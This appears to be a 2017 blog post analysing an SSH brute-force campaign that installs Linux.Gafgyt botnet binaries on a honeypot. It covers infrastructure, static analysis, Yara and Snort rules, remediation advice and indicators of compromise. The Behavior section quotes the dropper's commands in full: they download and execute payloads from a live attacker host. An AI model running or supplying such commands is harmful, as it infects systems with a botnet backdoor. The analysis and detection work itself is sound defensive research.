Introduction
I’ve been monitoring an interesting threat for the past several days, a group I’m referring to as “Killer Swag”. Mainly because the initial dropper is called “Swag.sh” and “Killer Swag” just sounds cool. In another life I think I would have been a marketing genius, but I digress. This post will cover my research into Killer Swag but won’t be as detailed as I would like. Most of my malware analysis is dynamic in my sandbox environment but sadly that network is down due to the sauna like atmosphere it creates in my office. So “you” being the poor reader will have to suffer through my poor static analysis skills. So let’s begin!
Summary
From what I’ve observed the groups focus seems to be SSH brute force attacks. The initially activity began on May 10, 2017 and continued for slightly over a week until stopping completely on May 19th. Activity then picked up on June 2nd and increased ten fold by Tue, June 6, 2017. Killer Swag uses various subnets to brute force the root login and once successful immediately disconnects. The login information is then used by the IP addresses 181.215.195.56 and 154.16.3.104 to log into the honeypot and run several Linux commands before downloading the “Swag.sh” dropper from IP 107.174.34.70. This Bash script is then executed which in turn sends more wget request back to 107.174.34.70 to download multiple copies of the Linux.Gafgyt malware family and await further instructions.
Behavior
As stated above once a successful login is achieved the brute forcing ceases. The next step involves a login from one of the two IP addresses which are both owned by HostPalace Web Solution PVT LTD and conveniently allocated to two separate hosting companies. After login from either IP, the Killer Swags Bash script runs the following commands.
cd /tmp | | cd /var/run | | cd /mnt | | cd /root | | cd /
It’s likely that the above commands are used to verify the existence of the Linux filesystem before allowing the dropper to be downloaded. Next a wget request is sent out for a single file which has been identified as a generic Linux.Downloader from the following URL hxxp://107.174.34.70/Swag.sh
Once downloaded the dropper runs the following commands:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/ntpd; chmod +x ntpd; ./ntpd; rm -rf ntpd cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/sshd; chmod +x sshd; ./sshd; rm -rf sshd cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/openssh; chmod +x openssh; ./openssh; rm -rf openssh cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/bash; chmod +x bash; ./bash; rm -rf bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/tftp; chmod +x tftp; ./tftp; rm -rf tftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/wget; chmod +x wget; ./wget; rm -rf wget cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/cron; chmod +x cron; ./cron; rm -rf cron cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/ftp; chmod +x ftp; ./ftp; rm -rf ftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/pftp; chmod +x pftp; ./pftp; rm -rf pftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/sh; chmod +x sh; ./sh; rm -rf sh cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/' '; chmod +x ' '; ./' '; rm -rf ' ' cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/apache2; chmod +x apache2; ./apache2; rm -rf apache2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/telnetd; chmod +x telnetd; ./telnetd; rm -rf telnetd
Each of these requests downloads and installs the Linux.Gafgyt backdoor and waits for further instructions.
Infrastructure
Let’s begin our analysis by doing some OSINT on both the Attacker IP’s and the Malware Host. One of the first things I check with IP’s is DNS resolution using something like RiskIQ but in this case none of the IP address resolved to anything. I followed this up by doing full TCP & UDP port scans for both attacking IPs using NMap and Unicorn but SSH continued to be the only available service on those IPs.
Attacker IP 1:
154.16.3.104
Open Ports:
Full TCP + UDP Port Scans
22 Open (SSH-2.0-OpenSSH_5.3)
Network Summary
Inetnum: 154.16.3.0/24
Netname: Serverhosh-Internet-Service
Country: Netherlands
ASN: 133229
Organization: HostPalace Web Solution PVT LTD
Country: India
Attacker IP 2:
181.215.195.56
Open Ports:
Full TCP + UDP Port Scans
22 Open (SSH-2.0-OpenSSH_5.3)
Network Summary
Inetnum: 181.215/16
Owner: HOST1PLUS hosting services. Brazil.
Country: Brazil
ASN: 133229
Organization: HostPalace Web Solution PVT LTD
Country: India
Key Point: What’s interesting here is that both attacker IP’s although located in different countries have the same single uplink AS 133229 owned by HostPalace Web Solution PVT LTD.
Malware Hosting:
107.174.34.70
Open Ports:
22 (SSH-2.0-OpenSSH_5.3)
80 (Apache httpd 2.2.15)
Network Summary
Owner: ColoCrossing (VGS-9)
Country: United States (US)
IP Range: 107.174.32.0/21
ASN: 36352
Organization: ColoCrossing
Country: United States (US)
ColoCrossing has a handful of subnets at it’s disposal with it’s /21 and attackers will often times control multiple hosts under the same provider to make maintaining their infrastructure easier. With this in mind I decided to see if the payloads where being hosted on any other ColoCrossing machines. By combining the results of Censys.io and NMap I was able to find a total of 115 host with live web servers.
My next step was to feed the resulting URL list into wget to see if any of the IP’s were hosting the same payloads.
wget --wait=10 --user-agent="Apple-iPhone5C3/" --referer=https://goo.gl/5BHyiB --input-file=/home/zerg/url.txt
Pro Tip – When downloading malware directly from a host I always make sure to manipulate things such as the “user agent” string and the “referer”. This is twofold really. Changing the “user agent” string to appear as an actual browser or anything other than wget’s default is just a smart way to avoid any potential issues with the host blocking particular agent strings.
Changing the “referer” can potentially yield valuable information. I typically change the referer to either a URL shortner that I control or a unique URL such as jamesbower.com/U398Deq. The idea behind this is that if the attacker is monitoring access to the hosted payloads sees an interesting referer they may be more inclined to visit it thinking it links back to their host. Since the referer is unique and not shared, any access to it would most likely be coming from the attacker and could reveal details such as location, browser info and other potentially valuable intelligence.
None of the other webservers on ColoCrossing appeared to be hosting identical payloads at the time of this research.
Malware Analysis
I begin by downloading each malware through Tor to a temporary VPS I’ve setup to do some simple analysis. I check the file size initially.
Then I move on to the file types.
From the file types we can see that the malware is setup to focus on at least several different system architectures. Now it’s time to create some SHA256 hashes so we can dive a little deeper.
IMAGE***
With our SHA256 hashes we can begin querying Virus Total to get more insight into our malware.
IMAGE***
I went ahead and submitted the other SHA256 hashes as well but the results are almost all identical to what is shown in the image above. Although the detection ratio was anywhere from 21-24 the results all named the malware Linux.Gafgyt which is an extremely common botnet that has quite a few variants and seems to be growing in popularity when compromising I0T devices. This may be due to the number of features built into the malware and the low entry needed for up and coming Internet hoodlums to start using it effectively.
When researching variants of the botnet I found that quite of few of them were using DNS on 8.8.8.8 to keep track of victims as they become infected. My version however seemed to be trying to connect to Telnet on 107.174.34.70 instead. This is strange to me considering that port 23 is closed on the host. A possibility is that my analysis is simply incorrect or the attacker is in fact using port 23 and reviewing the firewall logs as a means of keeping track of victims.
MalwareMustDie did a great job of providing a technical review of a lot of these variants and their research gave me some really good insight and is definitely worth a read.
http://blog.malwaremustdie.org/2016/02/mmd-0052-2016-skidddos-elf-distribution.html
Below are some of the interesting strings I found in the ntpd file.
IMAGE***
Next I start deep diving into the ELF ntpd file using Radare2 and elf-parser. Putting these together we can gain a lot more information about this malware’s capabilities.
IMAGE***
Below is a good break down of the main functionality. One of the most interesting pieces contained in the malware are the hardcoded IP’s used the C2 communication.
Random Functions
rand()
random_r()
srand()
srandom_r()
Process Manipulation
fork()
kill()
raise()
Network Functions
connect()
gethostbyname()
gethostbyname_r()
inet_addr()
recv()
socket()
C2 IP Addresses
1.0.154.39
1.8.1.11
1.9.0.6
1.9.0.8
1.9.1.6
1.9.2.4
1.9.2.6
107.174.34.70
107.174.34.70:23
5.0.0.74
Information Gathering
getpagesize()
HTTP
User-Agent: %s
File Functions
fclose()
fopen()
Anti-Debug
Fake dynamic symbol table in sections
Network Analysis
When detonating the malware in a sandbox I’m able to get very little network information as the initial C2 has already been taken offline.
IMAGE***
But with the PCAP opened in Wireshark if we follow the TCP stream we’re able to confirm that the infected host try’s communicating via Telnet to 107.174.34.70 sending the data “PING”.
IMAGE***
Now is a good time to look into the hardcoded C2 IP addresses.
Detection
Below you’ll find a simple Yara rule to detect the generic Gafgyt botnet malware described above.
Yara Tactical:
rule Gafgyt_Generic_Botnet {
meta:
description = "Gafgyt Generic Botnet Malware Signature"
author = "James Bower"
reference = "Quantum Honeynet"
date = "2017/06/14"
super_rule = 1
hash0 = "2a18f2d59f172622e76d9d9b5c73393b"
hash1 = "06de2d19862494be7dbcbcf20b3dbe3a"
hash2 = "0fc30a802a07386f5cd4b18b47547979"
hash3 = "be6865ccb948f2937fd25fe465e434da"
hash4 = "c8d58acfe524a09d4df7ffbe4a43c429"
hash5 = "0f979b4ae1209020dd2b672f9dad7398"
hash6 = "45826c129bf3d3bd067e33cf7bef3883"
hash7 = "79b9d4cea7972951efad765406459f5e"
hash8 = "baad702930571c414b0e8896f8bb4a5f"
hash9 = "11754a20e705dccf96f1a1def7220efc"
hash10 = "67db9ed04d3b56f966a739fd40a47748"
strings:
$s0 = "busybox" fullword
$s1 = "PONG!" fullword
$s2 = "GETLOCALIP" fullword
$s3 = "HTTPFLOOD" fullword
$s4 = "LUCKYLILDUDE" fullword
$s5 = "/dev/null"
$s6 = "/etc/resolv.conf"
$s7 = "/etc/config/resolv.conf"
condition:
all of them
}Snort Tactical:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Gafgyt_Generic_Botnet"; flow:established,to_server; content:"GET"; fast_pattern; http_uri; content:".sh"; distance:0; http_uri; content:"User-Agent|3a 20|Wget/"; http_header; content:!"Referer|3a|"; http_header; reference:url,jamesbower.com/threat-profile-killer-swag/; classtype:trojan-activity; sid:999999; rev:1;)
Remediations
Although the incident discussed above occurred on a honeypot, I believe it’s important to discuss simple remediations that could prevent this type of attack on production systems.
Password Complexity – Ensuring that your organization has put in place policies requiring at minimum a password complexity of at least eight character/alpha-numeric.
Fail2ban – Always a must on Linux/SSH systems. I generally have this set to a time out of 30-60 min after 5 failed login attempts.
SSH Keys – Getting away from using passwords and instead relying on SSH Keys can ease password management.
SSH Configuration – Disabling root login is still considered good practice for a reason.
IOC
IP Addresses:
181.215.195.56
154.16.3.104
Malware Hosting:
107.174.34.70
C2 IP Addresses:
1.0.154.39
1.8.1.11
1.9.0.6
1.9.0.8
1.9.1.6
1.9.2.4
1.9.2.6
5.0.0.74
MD5 Hashes
2a18f2d59f172622e76d9d9b5c73393b
06de2d19862494be7dbcbcf20b3dbe3a
0fc30a802a07386f5cd4b18b47547979
be6865ccb948f2937fd25fe465e434da
c8d58acfe524a09d4df7ffbe4a43c429
0f979b4ae1209020dd2b672f9dad7398
45826c129bf3d3bd067e33cf7bef3883
79b9d4cea7972951efad765406459f5e
5f79a5a8b841cd3510e968549120745c
baad702930571c414b0e8896f8bb4a5f
11754a20e705dccf96f1a1def7220efc
67db9ed04d3b56f966a739fd40a47748
SHA256 Hashes
61cfe4fc6946bbdab5704de099091f12f94939a5815e490c87e6055bd485ff15
754ad0f005a4ce0fccb97ec63e56774f4c458f442af3f7c4195ae946f9294fc0
dc1a34ef6083911b12c0169ab0542d0614154e4b9d8e835a56f889aafc365aca
53c09439bb515ac9e874696623e882f0f7c00eae72b38bbdc28b54ee2073429c
66dcffb21516fd74fa385b279457027e95be8d7d53af04ca52edcb4b2e8f13e4
d226f70d9a554de4b97adf333b666d791b964a26ef8d54229a078bc41f31539d
84ea0439e5bbc399d6ce53583dd24a75997378318783ceb6dc9b224e916119cc
78b34758c22b7a9d63652833f9111007ccabbdf32e52d6dd1fdf468220c700a1
1a5f7c961f62741341fcca0a1c0dd0d7bec7bab75ecff817cdb287a89662352c
af9c88b4d766fa0186d88d6c8dc57e6404088487842f76a1058c961c60ab8e89
754f56cc6911cfaa09389ad202fb0c2ac38e468ae280a03a13f171439817ff04
4993e8aa5a1b48a279fb989589fa771f45ed81e1c0ed9fe18dda9712455eb7fb